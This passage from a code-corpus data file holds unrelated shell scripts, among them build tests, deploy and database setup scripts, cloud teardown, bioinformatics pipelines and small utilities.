--data_type \"random\" \\\n --embedding_size 2 \\\n --entropy_regularization 0.00452019965111065 \\\n --fc_units 21 \\\n --learning_rate 0.000975550712164158 \\\n --lstm_units 10 \\\n --num_fc_layers 1 \\\n --num_lstm_layers 0 \\\n --predict_pairs \\\n --reward_exponent 11.7204878655058 \\\n --reward_function \"structure_only\" \\\n --state_radius 15 \\\n --state_representation \"n-gram\" \\\n --local_design \\\n --restore_path /work/ws/nemo/fr_ds371-learna-0/results/bohb/6782535/312_0_8/ \\\n\t--restart_timeout 1800"} {"text": "#!/bin/bash\nif [ $# -eq 0 ]; then\necho \"[FAIL] No arguments supplied\"\nelse\nclear\nif script/make_app.sh $1; then\nscript/start_emu.sh\nelse\necho \"[FAIL] Emulator cannot start\"\nfi\nfi"} {"text": "tup/test/t4076-sed-dash-i.sh\n#! /bin/sh -e\n# tup - A file-based build system\n#\n# Copyright (C) 2012-2018 <>\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2 as\n# published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License along\n# with this program; if not, write to the Free Software Foundation, Inc.,\n# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n\n# Make sure we work with 'sed -i', which has an unusual temporary file creation\n# characteristic - it creates a file with mode 000 so it can't be opened by\n# other processes (I guess?). In fuse, if create() is not implemented, it\n# mimics it by doing mknod() and then open(). Unfortunately, if the mknod()\n# uses mode 000, then the open() fails. Therefore, tup needs to implement\n# create() so this can be done in a single call.\n\n. ./tup.sh\n\n# The foo.txt.tmp file is created and then renamed with NtSetInformationFile.\n# Trying to hook this currently crashes tup - not sure why.\ncheck_no_windows TODO: Fix NtSetInformationFile hook\n\n# Note we need to explicitly give an extension (-i.tmp) since OSX will create\n# a file called 'foo.txt-e' even though it says it won't in the man page.\ncat > ok.sh << HERE\necho hey > foo.txt\nsed -i.tmp -e 's/hey/there/' foo.txt\nHERE\ncat > Tupfile << HERE\n: |> sh ok.sh |> foo.txt foo.txt.tmp\nHERE\ntup touch ok.sh Tupfile\nupdate\n\neotup"} {"text": "app/src/main/assets/CFM_Update_GeoX.sh\n\ntouch \"$1\"/../run/cmdRunning\n\"$1\"/clash.tool -u\nrm -rf \"$1\"/../run/cmdRunning"} {"text": "#/bin/bash\n\necho -n immudb | immuclient login immudb\n\n# Set a key \"hello\" to the value \"immutable world\"\nimmuclient set \"hello\" \"immutable world\"\n\n# get the value for the key \"hello\"\nimmuclient get \"hello\"\n\n# set and verify the key \"welcome\" with value \"immudb\"\nimmuclient safeset \"welcome\" \"immudb\"\n\n# Retrieve and verify the entry with key \"welcome\"\nimmuclient safeget \"welcome\"\n\nimmuclient logout"} {"text": "#!/bin/bash\ncd ./public\ngit init\ngit config user.name \"zhongmingmao\"\ngit config user.email \"\"\ngit add .\ngit commit -m \"Update Hexo Blog\"\ngit push --force --quiet \"https://${GH_TOKEN}@${GH_REF}\" master:master"} {"text": "clean.sh\nrm -rf lemon/parse.h.temp\nrm CMakeCache.txt\nrm -rf CMakeFiles\nrm sqli_test\nrm cmake_install.cmake\nrm -rf Makefile\nrm src/parse.c\nrm src/parse.h"} {"text": "#!/usr/bin/env bash\n\n# openssl genrsa -des3 -passout pass:x -out dev.pass.key 2048 \n# openssl rsa -passin pass:x -in dev.pass.key -out dev.key\n# openssl req -new -key dev.key -out dev.csr\n# openssl x509 -req -sha256 -days 365 -in dev.csr -signkey dev.key -out dev.crt\n# openssl pkcs12 -export -out dev.pfx -inkey dev.key -in dev.crt\n\n######################\n# Become a Certificate Authority\n######################\n\n# Generate private key\n# openssl genrsa -des3 -passout pass:x -out dev.key 2048 \n# # Generate root certificate\n# openssl req -x509 -new -nodes -key dev.key -sha256 -days 825 -out dev.pem\n\n# ######################\n# # Create CA-signed certs\n# ######################\n\n# NAME=azurestaticweb.app\n\n# openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout dev.key -out dev.crt -config cert.conf -sha256\n# cat dev.crt dev.key > dev.pem\n\nopenssl req -x509 -out localhost.crt -keyout localhost.key \\\n -newkey rsa:2048 -nodes -sha256 \\\n -subj '/CN=localhost' -extensions EXT -config <( \\\n printf \"[dn]\\nCN=localhost\\n[req]\\ndistinguished_name = dn\\n[EXT]\\nsubjectAltName=DNS:localhost\\nkeyUsage=digitalSignature\\nextendedKeyUsage=serverAuth\")"} {"text": "git/aliases.zsh\n#!/bin/sh\nif command -v hub >/dev/null 2>&1; then\n\talias git='hub'\nfi\n\nalias glog=\"git log --graph --decorate --oneline --abbrev-commit\"\nalias gs='git status -sb'\nalias gst='git status -sb'\n\nif command -v svu >/dev/null 2>&1; then\n\talias gtpatch='echo `svu p`; git tag `svu p`'\n\talias gtminor='echo `svu m`; git tag `svu m`'\nfi\n\ngi() {\n\tcurl -s \"https://www.gitignore.io/api/$*\"\n}"} {"text": "scripts/complete.sh\n_learn_ocaml_add_f()\n{\n local cmd\n cmd=$1; shift\n IFS=$'\\n' _learn_ocaml_reply+=(\"$($cmd \"$@\" 2>/dev/null)\")\n}\n\n_learn_ocaml_flags()\n{\n learn-ocaml --help=groff 2>/dev/null | \\\n sed -n \\\n -e 's%\\\\-\\|\\\\N'\"'45'\"'%-%g' \\\n -e 's%, \\\\fB%\\n\\\\fB%g' \\\n -e '/^\\\\fB-/p' | \\\n sed -e 's%^\\\\fB\\(-[^\\\\]*\\).*%\\1%'\n}\n\n_learn_ocaml_commands()\n{\n learn-ocaml \"$@\" --help=groff 2>/dev/null | \\\n sed -n \\\n -e 's%\\\\-\\|\\\\N'\"'45'\"'%-%g' \\\n -e '/^\\.SH COMMANDS$/,/^\\.SH/ s%^\\\\fB\\([^,= ]*\\)\\\\fR.*%\\1%p'\n echo '--help'\n}\n\n_learn_ocaml_argtype()\n{\n local flag\n flag=\"$1\"; shift\n case \"$flag\" in\n -*)\n learn-ocaml --help=groff 2>/dev/null | \\\n sed -n \\\n -e 's%\\\\-\\|\\\\N'\"'45'\"'%-%g' \\\n -e 's%.*\\\\fB'\"$flag\"'\\\\fR[= ]\\\\fI\\([^, ]*\\)\\\\fR.*%\\1%p'\n ;;\n esac\n}\n\n_learn_ocaml()\n{\n local IFS cmd subcmd cur prev compgen_opt\n\n COMPREPLY=()\n cur=${COMP_WORDS[COMP_CWORD]}\n prev=${COMP_WORDS[COMP_CWORD-1]}\n compgen_opt=()\n _learn_ocaml_reply=()\n\n case \"$(_learn_ocaml_argtype $prev)\" in\n INT) ;;\n PORT) IFS=' '; _learn_ocaml_reply+=(80 591 8008 8080);;\n FILE|FILENAME|PREFIX) compgen_opt+=(-o filenames -f);;\n DIR*) compgen_opt+=(-o filenames -d);;\n STRING) ;;\n \"\")\n _learn_ocaml_add_f _learn_ocaml_commands\n _learn_ocaml_add_f _learn_ocaml_flags;;\n esac\n\n COMPREPLY=($(compgen -W \"${_learn_ocaml_reply[*]}\" \"${compgen_opt[@]}\" -- \"$cur\"))\n unset _learn_ocaml_reply\n return 0\n}\n\ncomplete -F _learn_ocaml learn-ocaml"} {"text": "#!/bin/bash\n\n# Copyright (c) The Diem Core Contributors\n# SPDX-License-Identifier: Apache-2.0\n\nset -e\n\nLP_DB_NAME=\"liquidity_provider_db\"\nDB_NAME=\"backend_db\"\nDB_USER=\"backenduser\"\nDB_PASSWORD=\"\"\n\npsql -v ON_ERROR_STOP=0 --username \"$POSTGRES_USER\" --dbname \"$POSTGRES_DB\" <<-EOSQL\n CREATE USER $DB_USER WITH PASSWORD '$';\n CREATE DATABASE $DB_NAME;\n GRANT ALL PRIVILEGES ON DATABASE $DB_NAME TO $DB_USER;\nEOSQL\n\npsql -v ON_ERROR_STOP=0 --username \"$POSTGRES_USER\" --dbname \"$POSTGRES_DB\" <<-EOSQL\n CREATE DATABASE $LP_DB_NAME;\n GRANT ALL PRIVILEGES ON DATABASE $LP_DB_NAME TO $DB_USER;\nEOSQL"} {"text": "nk412/logging.bash\n# tinylogger.bash - A simple logging framework for Bash scripts in < 10 lines\n# https://github.com/nk412/tinylogger\n\n# Copyright (c) 2017 \n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n#\n# Author: <>\n\n# defaults\nLOGGER_FMT=${LOGGER_FMT:=\"%Y-%m-%d %H:%M:%S\"}\nLOGGER_LVL=${LOGGER_LVL:=\"info\"}\n\nfunction tlog {\n action=$1 && shift\n case $action in \n debug) [[ $LOGGER_LVL =~ debug ]] && echo \"$( date \"+${LOGGER_FMT}\" ) - DEBUG - $@\" 1>&2 ;;\n info) [[ $LOGGER_LVL =~ debug|info ]] && echo \"$( date \"+${LOGGER_FMT}\" ) - INFO - $@\" 1>&2 ;;\n warn) [[ $LOGGER_LVL =~ debug|info|warn ]] && echo \"$( date \"+${LOGGER_FMT}\" ) - WARN - $@\" 1>&2 ;;\n error) [[ ! $LOGGER_LVL =~ none ]] && echo \"$( date \"+${LOGGER_FMT}\" ) - ERROR - $@\" 1>&2 ;;\n esac\n true; }"} {"text": "#!/bin/bash\nfunction queue() {\n local TARGET=\"${1}\"\n shift\n local LIVE\n LIVE=\"$(jobs | wc -l)\"\n while [[ \"${LIVE}\" -ge 45 ]]; do\n sleep 1\n LIVE=\"$(jobs | wc -l)\"\n done\n echo \"${@}\"\n if [[ -n \"${FILTER:-}\" ]]; then\n \"${@}\" | \"${FILTER}\" >\"${TARGET}\" &\n else\n \"${@}\" >\"${TARGET}\" &\n fi\n}\n\nset +e\nexport PATH=$PATH:/tmp/shared\nAWS_SHARED_CREDENTIALS_FILE=${CLUSTER_PROFILE_DIR}/.awscred\nexport AWS_SHARED_CREDENTIALS_FILE\n\necho \"Deprovisioning cluster ...\"\nexport PATH=\"${HOME}/.local/bin:${PATH}\"\n\nAWS_DEFAULT_REGION=$(cat ${SHARED_DIR}/AWS_REGION) # CLI prefers the former\nexport AWS_DEFAULT_REGION\nCLUSTER_NAME=$(cat ${SHARED_DIR}/CLUSTER_NAME)\n\naws cloudformation describe-stack-resources --stack-name \"${CLUSTER_NAME}-control-plane\" \\\n --query 'StackResources[?ResourceType==`AWS::EC2::Instance`].PhysicalResourceId' --output text | sed 's,\\t,\\n,g' > /tmp/node-provider-IDs\nfor INDEX in 0 1 2\ndo\n aws cloudformation describe-stack-resources --stack-name \"${CLUSTER_NAME}-compute-${INDEX}\" \\\n --query 'StackResources[].PhysicalResourceId' --output text | cut -d, -f1 >> /tmp/node-provider-IDs\ndone\n\nwhile IFS= read -r i; do\n mkdir -p \"${SHARED_DIR}/nodes/${i}\"\n queue ${SHARED_DIR}/nodes/$i/console aws ec2 get-console-output --instance-id \"${i}\"\ndone < /tmp/node-provider-IDs\n\nfor STACK_SUFFIX in compute-2 compute-1 compute-0 control-plane bootstrap proxy security infra vpc\ndo\n aws cloudformation delete-stack --stack-name \"${CLUSTER_NAME}-${STACK_SUFFIX}\"\ndone"} {"text": "#!/bin/bash\n#\n# Copyright (c) 2021 MariaDB Corporation Ab\n#\n# Use of this software is governed by the Business Source License included\n# in the LICENSE.TXT file and at www.mariadb.com/bsl11.\n#\n# Change Date: 2025-12-13\n#\n# On the date above, in accordance with the Business Source License, use\n# of this software will be governed by version 2 or later of the General\n# Public License.\n#\n\nnpm test"} {"text": "Gene-Processing-Scripts/ExtractCodingSequences.sh\n#!/bin/bash\n\n#PBS -l nodes=1:ppn=13,walltime=20:00:00,mem=52gb\n#PBS -W x=FLAGS:ADVRES:lss0021_lab.197924\n#PBS -q general\n#PBS -m abe\n#PBS -d .\n\nmodule load bcftools/1.11 \nmodule load gffread/2\nmodule load samtools/1.11\nmodule load gnu-parallel/20181022\nmodule load seqkit/0.8.1\nmodule load R/4.0.3\n\n# Define array for sample names\n\nsamples=(`cat samples/sample_list.txt`)\n\n# Create reference genomes for variant samples using vcf-consensus \n\nparallel 'cat References_files/rheMac8.masked.fa | bcftools consensus -M N -H 1 -s {} samples/Macaque_merged.allSNPs.vcf.gz > References_files/{}_1.masked.fa' ::: ${samples[@]}\nparallel 'cat References_files/rheMac8.masked.fa | bcftools consensus -M N -H 2 -s {} samples/Macaque_merged.allSNPs.vcf.gz > References_files/{}_2.masked.fa' ::: ${samples[@]}\n\n# Index the variant genomes to allow for easier extraction of genes\n\nparallel 'samtools faidx References_files/{}_1.masked.fa' ::: ${samples[@]}\nparallel 'samtools faidx References_files/{}_2.masked.fa' ::: ${samples[@]}\n\n# Extract the coding regions all of transcripts in a given annotation\n\nparallel 'gffread -C -x {}_1.coding.masked.fa -g References_files/{}_1.masked.fa References_files/rheMac8.ensGene.gtf' ::: ${samples[@]}\nparallel 'gffread -C -x {}_2.coding.masked.fa -g References_files/{}_2.masked.fa References_files/rheMac8.ensGene.gtf' ::: ${samples[@]}\n\n# Generate list of transcripts in order that they appear in the FASTA files (FASTA should be replaced by a random particular FASTA file\n\ngrep \">\" Malaya_2.coding.masked.fa | sed 's/>//' > Transcripts.txt\n\n# Use python script to change gene transcript names to include gene and transcript ID\n# This python script is very slow so should be used only once on a list of transcript names obtained from a CDS FASTA\n# This will create a reference of gene-transcript names in the same order as they appear in the CDS FASTA file\n\npython3 ReplaceFastaNames.py Transcripts.txt References_files/ensemblToGeneName.txt > GenesNTranscripts.txt\n\n# Create R scripts that will quickly replace gene names in each CDS FASTA and then run the script\n# Both steps are very quick and may be run outside this script if needed\n# The R script itself should be modified to reflect haplotype number\n\nfor x in ${samples[@]}; do\n\nsed \"s/SAMPLE/${x}/g\" ReplaceFastaNames_1.R > ${x}.ReplaceFastaNames_1.R\nsed \"s/SAMPLE/${x}/g\" ReplaceFastaNames_2.R > ${x}.ReplaceFastaNames_2.R\n\nRscript ${x}.ReplaceFastaNames_1.R\nRscript ${x}.ReplaceFastaNames_2.R\n\ndone\n\n# Use the gene-transcript list generated above to define an array\n\ngenes=(`cat GenesNTranscripts.txt`)\nmkdir gene_sequences\n\n# Extract gene-transcript sequences from gene FASTA files and combine homologous genes from all samples into gene-specific files\n\nparallel 'seqkit grep -p {1} {2}_1.genes.masked.fa | sed \"s/>{1}/>{2}_1/\" >> gene_sequences/{1}.fa' ::: ${genes[@]} ::: ${samples[@]}\nparallel 'seqkit grep -p {1} {2}_2.genes.masked.fa | sed \"s/>{1}/>{2}_2/\" >> gene_sequences/{1}.fa' ::: ${genes[@]} ::: ${samples[@]}\n\n# Convert all the above files into phylip files and output error messages to a text file\n\nfor x in ${genes[@]}; do \necho \"${x}\" >> F2P_Output.txt\n./Fasta2Phylip.pl gene_sequences/${x}.fa gene_sequences/${x}.phy >> F2P_Output.txt\ndone\n\n# Go to gene_sequences folder and reformat Phylip files generated above so they can be analyzed by PAML\n# They will thus be \"reborn\", which I have named as such because this portion was scripted while listening to Kids See Ghosts\n\ncd gene_sequences\n\nfiles=(`ls *.phy`)\n\nfor y in ${files[@]}; do\n\n number=`grep -c \"^[A-Z]\" ${y}`\n number_minus_one=`expr ${number} - 1`\n samples=(`awk 'NR>1 {print $1}' ${y}`)\n sequences=(`awk 'NR>1 {print $2}' ${y}`)\n series=(`seq 0 ${number_minus_one}`)\n head -n 1 ${y} > reborn_${y}\n\n for x in ${series[@]}; do\n\n echo ${samples[${x}]} >> reborn_${y}\n echo ${sequences[${x}]} >> reborn_${y}\n\ndone\ndone"} {"text": "0\n#!/usr/bin/env bash\n#\n# Copyright (c) 2018 Dell Inc., or its subsidiaries. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n\nset -ex\n\nsource /conf/env.sh\nsource /usr/local/bin/zookeeperFunctions.sh\n\nDATA_DIR=/data\nMYID_FILE=$DATA_DIR/myid\nLOG4J_CONF=/conf/log4j-quiet.properties\n\n# use SEED_NODE to bootstrap the current zookeeper cluster, else default to local cluster\n# CLIENT_HOST is used in zkConnectionString function already to create zkURL\nCLIENT_HOST=${SEED_NODE:-$CLIENT_HOST}\n\n# used when zkid starts from value grater then 1, default 1\nOFFSET=${OFFSET:-1}\n\n# Wait for client connections to drain. Kubernetes will wait until the confiugred\n# \"terminationGracePeriodSeconds\" before focibly killing the container\nCONN_COUNT=`echo cons | nc localhost 2181 | grep -v \"^$\" |grep -v \"/127.0.0.1:\" | wc -l`\nfor (( i = 0; i < 6; i++ )); do\n if [[ \"$CONN_COUNT\" -gt 0 ]]; then\n echo \"$CONN_COUNT non-local connections still connected.\"\n sleep 5\n else\n echo \"$CONN_COUNT non-local connections\"\n break\n fi\ndone\n\n# Check to see if zookeeper service for this node is a participant\nset +e\nZKURL=$(zkConnectionString)\nset -e\nMYID=`cat $MYID_FILE`\n\nZNODE_PATH=\"/zookeeper-operator/$CLUSTER_NAME\"\nCLUSTERSIZE=`java -Dlog4j.configuration=file:\"$LOG4J_CONF\" -jar /root/zu.jar sync $ZKURL $ZNODE_PATH`\necho \"CLUSTER_SIZE=$CLUSTERSIZE, MyId=$MYID\"\nif [[ -n \"$CLUSTERSIZE\" && \"$(($CLUSTERSIZE+$OFFSET-1))\" -lt \"$MYID\" ]]; then\n # If ClusterSize < MyId, this server is being permanantly removed.\n java -Dlog4j.configuration=file:\"$LOG4J_CONF\" -jar /root/zu.jar remove $ZKURL $MYID\n echo $?\nfi\n\n# Kill the primary process ourselves to circumvent the terminationGracePeriodSeconds\nps -ef | grep zoo.cfg | grep -v grep | awk '{print $2}' | xargs kill"} {"text": "pacoqueen/lmda2yt\n#!/bin/sh\n\nexport GOOGLE_APPLICATION_CREDENTIALS=\"./La musiquita del amor-\""} {"text": "CaseStudy/ReproducePlots.sh\n##################################################################################################\n#\t\t\t\t\t\t\t\t\t\t\t\t #\n# Script for the case studies in manuscript \"Automated analysis of small RNA datasets with RAPID\"#\n#\t\t\t\tKarunanithi et. al.,\t\t\t\t\t\t #\n#\t\t\t\t\t\t\t\t\t\t\t\t #\n# This script assumes you have the following softwares installed and in PATH:\t\t\t #\n#\tconda\t\t\t\t\t\t\t\t\t\t\t #\n#\tcutadapt (v1.8.1)\t\t\t\t\t\t\t\t\t #\n#\ttrim_galore\t\t\t\t\t\t\t\t\t\t #\n#\tRAPID as a condo env (see https://rapid-doc.readthedocs.io/en/latest/Installation.html)\t #\n#\t\t\t\t\t\t\t\t\t\t\t\t #\n# This script reproduces the analysis done in this manuscript and it \t\t\t\t #\n# reproduces figures (except Fig.1). \t\t\t\t\t\t\t\t #\n#\t\t\t\t\t\t\t\t\t\t\t\t #\n#\t\t\t\t\t\t\t\t\t\t\t\t #\n# RUN THE SCRIPT IN THE FOLDER WHERE YOU HAVE ALL ASSOCIATED SUPPLEMENTARY FILES DOWNLOADED\t #\n#\t\t\t\t\t\t\t\t\t\t\t\t #\n# UPDATE THE CONDA ENVIRONMENT VARIABLE FOR RAPID BELOW\t\t\t\t\t #\n#\t\t\t\t\t\t\t\t\t\t\t\t #\n##################################################################################################\n \nENV_NAME=\n\n####################################################### Data Download, and Preprocessing\n\n### Paramecium tetraurelia related\nwget --no-passive-ftp ftp.sra.ebi.ac.uk/vol1/fastq/ERR250/000/ERR2503570/ERR2503570.fastq.gz\nwget --no-passive-ftp ftp.sra.ebi.ac.uk/vol1/fastq/ERR250/001/ERR2503571/ERR2503571.fastq.gz\nwget --no-passive-ftp ftp.sra.ebi.ac.uk/vol1/fastq/ERR250/002/ERR2503572/ERR2503572.fastq.gz\nwget --no-passive-ftp ftp.sra.ebi.ac.uk/vol1/fastq/ERR250/003/ERR2503573/ERR2503573.fastq.gz\nwget --no-passive-ftp ftp.sra.ebi.ac.uk/vol1/fastq/ERR250/004/ERR2503574/ERR2503574.fastq.gz\nwget --no-passive-ftp ftp.sra.ebi.ac.uk/vol1/fastq/ERR250/005/ERR2503575/ERR2503575.fastq.gz\nwget --no-passive-ftp ftp.sra.ebi.ac.uk/vol1/fastq/ERR250/006/ERR2503576/ERR2503576.fastq.gz\nwget --no-passive-ftp ftp.sra.ebi.ac.uk/vol1/fastq/ERR250/007/ERR2503577/ERR2503577.fastq.gz\n\n\n# Merge replicates, and rename samples\ncat ERR2503570.fastq.gz ERR2503571.fastq.gz >51A_unfilt.fq.gz\ncat ERR2503572.fastq.gz ERR2503573.fastq.gz >51B_unfilt.fq.gz\ncat ERR2503574.fastq.gz ERR2503575.fastq.gz >51D_unfilt.fq.gz\ncat ERR2503576.fastq.gz ERR2503577.fastq.gz >51H_unfilt.fq.gz\n\n# Data trimming\n# The reads are already adapter trimmed.\n\n# Filter Reads (you need install cutadapt(v1.8.1) to perform this)\ncutadapt -m 21 -M 25 ./51A_unfilt.fq.gz -o ./51A.fq.gz\ncutadapt -m 21 -M 25 ./51B_unfilt.fq.gz -o ./51B.fq.gz\ncutadapt -m 21 -M 25 ./51D_unfilt.fq.gz -o ./51D.fq.gz\ncutadapt -m 21 -M 25 ./51H_unfilt.fq.gz -o ./51H.fq.gz\n\n#Remove raw and intermediate files\nrm *_unfilt.fq.gz ERR250357*.fastq.gz\n\n\n### Spombe related\nwget --no-passive-ftp ftp.sra.ebi.ac.uk/vol1/fastq/SRR444/006/SRR4449666/SRR4449666.fastq.gz \nwget --no-passive-ftp ftp.sra.ebi.ac.uk/vol1/fastq/SRR444/007/SRR4449667/SRR4449667.fastq.gz \nwget --no-passive-ftp ftp.sra.ebi.ac.uk/vol1/fastq/SRR444/008/SRR4449668/SRR4449668.fastq.gz \nwget --no-passive-ftp ftp.sra.ebi.ac.uk/vol1/fastq/SRR444/009/SRR4449669/SRR4449669.fastq.gz\ncat SRR4449* >WT_24h.fq.gz\n\nwget --no-passive-ftp ftp.sra.ebi.ac.uk/vol1/fastq/SRR444/000/SRR4449690/SRR4449690.fastq.gz \nwget --no-passive-ftp ftp.sra.ebi.ac.uk/vol1/fastq/SRR444/001/SRR4449691/SRR4449691.fastq.gz \nwget --no-passive-ftp ftp.sra.ebi.ac.uk/vol1/fastq/SRR444/002/SRR4449692/SRR4449692.fastq.gz \nwget --no-passive-ftp ftp.sra.ebi.ac.uk/vol1/fastq/SRR444/003/SRR4449693/SRR4449693.fastq.gz \ncat SRR4449* >ago1D_24h.fq.gz\n\nwget --no-passive-ftp ftp.sra.ebi.ac.uk/vol1/fastq/SRR444/004/SRR4449714/SRR4449714.fastq.gz \nwget --no-passive-ftp ftp.sra.ebi.ac.uk/vol1/fastq/SRR444/005/SRR4449715/SRR4449715.fastq.gz \nwget --no-passive-ftp ftp.sra.ebi.ac.uk/vol1/fastq/SRR444/006/SRR4449716/SRR4449716.fastq.gz \nwget --no-passive-ftp ftp.sra.ebi.ac.uk/vol1/fastq/SRR444/007/SRR4449717/SRR4449717.fastq.gz \ncat SRR4449* >clr4D_24h.fq.gz\n\nwget --no-passive-ftp ftp.sra.ebi.ac.uk/vol1/fastq/SRR444/008/SRR4449738/SRR4449738.fastq.gz \nwget --no-passive-ftp ftp.sra.ebi.ac.uk/vol1/fastq/SRR444/009/SRR4449739/SRR4449739.fastq.gz \nwget --no-passive-ftp ftp.sra.ebi.ac.uk/vol1/fastq/SRR444/000/SRR4449740/SRR4449740.fastq.gz \nwget --no-passive-ftp ftp.sra.ebi.ac.uk/vol1/fastq/SRR444/001/SRR4449741/SRR4449741.fastq.gz\ncat SRR4449* >dcr1D_24h.fq.gz \n\n# Adapter trimming, and Read filtering (you need install cutadapt(v1.8.1) to perform this)\nfor file in *.fq.gz; \ndo \nname=`echo $file|cut -d. -f1`; \necho ${name}_trimmed.fq.gz;\ntrim_galore --length 18 --max_length 25 $file\nmv ${name}_trimmed.fq.gz $file\ndone;\n\n#Remove raw and intermediate files\nrm SRR4449*.fastq.gz *_trimming_report.txt\n\n### Move in to conda environment\nsource activate $ENV_NAME\n\n# Build index for rDNA (bowtie2 installation necessary)\nbowtie2-build rDNAcluster.fa rDNAIndex\nbowtie2-build Spombe_ASM294v2.fasta Spombe_ASM294v2\n\n\n#Run the basic statistics for Paramecium data.\nrapidStats.sh -o=./rDNA_51A/ -f=./51A.fq.gz -a=./rDNAClusterRegions.bed -i=./rDNAIndex\nrapidStats.sh -o=./rDNA_51B/ -f=./51B.fq.gz -a=./rDNAClusterRegions.bed -i=./rDNAIndex\nrapidStats.sh -o=./rDNA_51D/ -f=./51D.fq.gz -a=./rDNAClusterRegions.bed -i=./rDNAIndex\nrapidStats.sh -o=./rDNA_51H/ -f=./51H.fq.gz -a=./rDNAClusterRegions.bed -i=./rDNAIndex\n\n#Run the normalisation to compare all serotypes.\nrapidNorm.sh -o=./rDNA_Allnorm/ -c=./rDNA_allsamples.config -a=./rDNAClusterRegions.bed\n\n#Run the basic statistics for every Pombe data.\nrapidStats.sh -o=./WT_24h/ -f=./WT_24h.fq.gz -a=./sRNAenrichedGenelist_mmc2.bed -i=./Spombe_ASM294v2\nrapidStats.sh -o=./ago1D_24h/ -f=./ago1D_24h.fq.gz -a=./sRNAenrichedGenelist_mmc2.bed -i=./Spombe_ASM294v2\nrapidStats.sh -o=./clr4D_24h/ -f=./clr4D_24h.fq.gz -a=./sRNAenrichedGenelist_mmc2.bed -i=./Spombe_ASM294v2\nrapidStats.sh -o=./dcr1D_24h/ -f=./dcr1D_24h.fq.gz -a=./sRNAenrichedGenelist_mmc2.bed -i=./Spombe_ASM294v2\n\n#Run the normalisation to compare all serotypes.\nrapidNorm.sh -o=./spombe_Allnorm/ -c=./all_only24h_sRNA.config -a=./sRNAenrichedGenelist_mmc2.bed\n\n######## All Visualisation reports for the data analysed (One sample output is created for each case; uncomment others and run only if necessary, as it might take considerable time) #########\n\n#To create all the comparison plots for Paramecium\n\nrapidVis.sh -t=compare -o=./rDNA_Allnorm/\n\n#To create all the plots - Basic statistics of each Paramecium sample\n\nrapidVis.sh -t=stats -o=./rDNA_51A/rDNAClusterRegions/ -a=./rDNAClusterRegions.bed \n#rapidVis.sh -t=stats -o=./rDNA_51B/rDNAClusterRegions/ -a=./rDNAClusterRegions.bed \n#rapidVis.sh -t=stats -o=./rDNA_51D/rDNAClusterRegions/ -a=./rDNAClusterRegions.bed \n#rapidVis.sh -t=stats -o=./rDNA_51H/rDNAClusterRegions/ -a=./rDNAClusterRegions.bed \n\n#To create all the comparison plots for Pombe\nrapidVis.sh -t=compare -o=./spombe_Allnorm/\n\n#To create all the plots - Basic statistics of each Pombe sample\nrapidVis.sh -t=stats -o=./WT_24h/sRNAenrichedGenelist_mmc2/ -a=./sRNAenrichedGenelist_mmc2.bed \n#rapidVis.sh -t=stats -o=./ago1D_24h/sRNAenrichedGenelist_mmc2/ -a=./sRNAenrichedGenelist_mmc2.bed \n#rapidVis.sh -t=stats -o=./clr4D_24h/sRNAenrichedGenelist_mmc2/ -a=./sRNAenrichedGenelist_mmc2.bed \n#rapidVis.sh -t=stats -o=./dcr1D_24h/sRNAenrichedGenelist_mmc2/ -a=./sRNAenrichedGenelist_mmc2.bed \n\n\nsource deactivate"} {"text": "#!/bin/bash\n# Gets directory/file path on $1\n# Adjust to your needs\n\nBMNGREXPAN=\".bmngrB\" # backup expansion. Choose some name that you dont use because it may cause conflict and break your files\nBMNGRPATH=\"$HOME/.bmngr\"\n\nFILENAME=\"$(basename $1)\"\nDIRNAME=\"$(dirname $1)\"\n\ncd $DIRNAME\ncp \"$FILENAME\" \"$BMNGRPATH/backups/$FILENAME$BMNGREXPAN$(date +%F)\" &>/dev/null\n\ncd $BMNGRPATH/backups\nBNUMBER=$(ls *$FILENAME$BMNGREXPAN* | sort | wc -l)\n \nif (( $BNUMBER > 7 ))\nthen\n\tls *$FILENAME$BMNGREXPAN* | sort | head -n $[$BNUMBER-7] | xargs rm &>/dev/null\n\texit\nfi"} {"text": "CosmWasm/scripts-local-evaluation/client.sh\n#!/bin/bash\n\n\nRPC=\"http://localhost:26657\"\nCHAIN_ID=\"testing\"\n\nNODE=\"--node $RPC\"\n\nexport TXFLAG=\"${NODE} --chain-id ${CHAIN_ID} --gas-prices 0.025ucosm --gas auto --gas-adjustment 1.3\"\n\nexport KEYRING=\"--keyring-backend test --keyring-dir $HOME/.wasmd_keys\"\n\n\nCONTRACT=wasm14hj2tavq8fpesdwxxcu44rty3hh90vhujrvcmstl4zr3txmfvw9s0phg4d\n\n\n\n\n\nTRANSACTION='{\"create_prescription\":{\"personal_info\":\"Personal Information\",\"medication\":\"Medication x\",\"diagnosis\":\"Diagnosis y\"}}'\n\nsleep 5\n\nwhile :\ndo\n \n wasmd tx wasm execute $CONTRACT \"$TRANSACTION\" --amount 1ucosm --from validator $KEYRING $TXFLAG -y\n block_query=$(wasmd query block $NODE)\n\n echo $block_query | jq '.block.header.height' >> block_time.txt\n 